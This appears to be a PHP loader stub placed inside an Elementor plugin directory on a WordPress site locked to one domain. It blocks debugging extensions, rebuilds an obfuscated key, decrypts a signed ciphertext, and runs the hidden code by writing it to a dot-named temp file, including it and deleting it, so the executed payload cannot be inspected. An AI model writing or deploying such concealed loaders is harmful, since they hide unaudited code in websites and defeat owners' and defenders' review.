<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["APWi\/bvMfPw=","17WOmbFDGwI=","n9x4D\/B8MC8=","z+W47pxro4M="]', true);
$__MASKS = json_decode('["IA\/6F807M\/k=","uKpsg6jEHBw=","cBJRUPdh5\/k=","inx+c5b4lTA="]', true);
$__ROT   = json_decode('[6,1,3,5]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('TBRIumUlEMMM33D/97L77Bgk4soZjFbB');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9kYXRhL3YyL2Jhc2UvZW5kcG9pbnQvaW5kZXgucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('oMkwSOYjwioSlZdVdQyNC4RNtcWGgaSZJ74p+VRycXhFl/1/XDCwZ7rGSFfxZDU1Buhey7OALmPYEq+/ZDuXxkoq3Ry+PIiPVbUIxNLUz8hd9ILWeV2d1UOQJTYT3KKf2Y6nY+0fUXebsBjuUDVjQiG7t1kAsEDzdN0yDFGjpM2hVPrrLsRSoQKfx72IIWHHqWiELk8by76zM/UfYD1Qn/l6ZYcr4x4exY0KLOYOVKjxiyAX7C8kFp6EwulJYq/Lr6Pb3JohGNkX7AXcqg12+iJD+RCfN5ILWSrBIKcIbOzXHIIdvZzqE10E1r4vk0EF2XYHwSc57YPeXh8DXlwoTyvpsYSfsO/mXwDWAFrgneQ3kWhmAV7RmhZOD/Sr4Y/zPO0Y/UudXO71rADiNGZhm9JlbsYbkQeN8VmapfTUqjvggg6OW4jH8Jv12/zMn99Yh8Slk5MfGucqhp4z8YIvNdXfNlmBKQONfs/sa1TRnkzu0zGgehNvpcJPspptfPTVKrgikIwUd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HduzS5VBp3KN8mjRwlDlPWFScyfsyLiZamFYWNWVe62IzUS7KJDIthDofEfGzoMTPnzN4Nz7fL1MZ6ZrUk847HeyC6kD6JNb+czAEmhUk3CmRKArUkwev6muLEQmgAHW0wxlLlHYbSDKU2MUT5FMGd+DdIc9lPmXIg1BuPWm+6/RptiwqMv7Q4h6TTZr/si2vLHSqHwNQ2Zj9jfNA6GXiXw2qz9359Iq2DSHbVqTjQAUoljD+eR1J/C/NVNUfxVmAgr0Ma4fceCHW+E2Lg6ikmIXu1AjhPl7u3sV0BjDD+smFP+vAUW3Y6aYtScM79H8l19+q0vu6JDd8iBOCFjMY7wijp5ziYssWcELPlDzlXsLaaSfiTHFeN9tKozrkjp/uitVeeYrfQK6RCJxizE6nhV1STlLYxuJr6+TLipwjap9XCXIOVRt4+sx6nag2b33WKQ3Auh3KisZqDVKRkV7lKgRHFv+64lV7DTV38Uzt+rWcW3gtonUwWo90sbpm6Z7jfbPPo2oXiYbF2MEZ5TeiTNUvzyG24LSl2aMXu4LjtL3Via3hPM0+an2UjV58DO9W9UShtnVBUqYtvyi/m+MdFbqcFkmaC1LBU4nxYhbQVMOu4+8es+gRtlnaCGFP');

// Signature verification
$__PK  = base64_decode('Mt2EiaLE+1lE/Fh0VTqCvUnUkyLawvszAVlyLxm36iE=');
$__SIG = base64_decode('fAAesVu7HWflDQUTLqFA3a1BvX95WWzY9O2qYjKCALVTs2E5I6YWwBU6fnzLh0vIntWX2dX4jj+9BCRdsdp9CA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
